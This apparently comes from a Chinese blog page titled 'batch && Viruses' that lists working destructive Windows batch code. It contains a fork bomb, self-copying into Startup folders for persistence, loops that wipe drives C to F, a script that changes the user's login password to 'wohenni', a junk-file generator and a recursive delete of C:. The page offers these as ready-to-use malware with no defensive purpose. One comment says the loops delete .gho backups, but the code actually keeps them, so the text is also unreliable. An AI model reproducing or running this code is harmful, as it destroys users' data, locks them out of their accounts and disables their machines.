batch && Viruses

1. %0|%0

::other

start cmd

:1
start %0
goto 1

copy %0 "C:\Documents and Settings\All Users\「开始」菜单\程序\启动\*.*“
copy %0 "C:\Documents and Settings\Default User\「开始」菜单\程序\启动\*.*"
copy %0 "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
（与shutdown -r -t 0搭配使用威力倍增）

for /R C:\ %%i in (*.*) do @if not "%%~xi"==".gho" del "%%~fi"
for /R D:\ %%i in (*.*) do @if not "%%~xi"==".gho" del "%%~fi"
for /R E:\ %%i in (*.*) do @if not "%%~xi"==".gho" del "%%~fi"
for /R F:\ %%i in (*.*) do @if not "%%~xi"==".gho" del "%%~fi"

删除CDEF盘上面的gho文件，使用户无法通过ghost恢复系统

Echo Const strPassword = "wohenni"' >>1.vbs
echo Dim WshNetwork >>1.vbs
echo Set WshNetwork = CreateObject("WScript.Network") >>1.vbs
echo Dim userName >>1.vbs
echo userName = WshNetwork.userName&",user" >>1.vbs
echo Dim Domain >>1.vbs
echo Set Domain = GetObject("WinNT://./"&userName) >>1.vbs
echo Domain.SetPassword strPassword >>1.vbs
echo Domain.SetInfo >>1.vbs
echo dim gj >>1.vbs
echo on error resume next >>1.vbs
echo dim WSHshellA >>1.vbs
echo set WSHshellA = wscript.createobject("wscript.shell") >>1.vbs
start “” “1.vbs“

生成能把登录密码改为”wohenni”的VBS，并运行。

6.fsutil file createnew C:\1.hahaha 4096000

生成特定大小的文件，这句意思是在C盘下面生成1.hahaha，大小为4096000字节

7.del c:\*.* /s /f /q

8.%systemroot%\explorer.exe .

猜你喜欢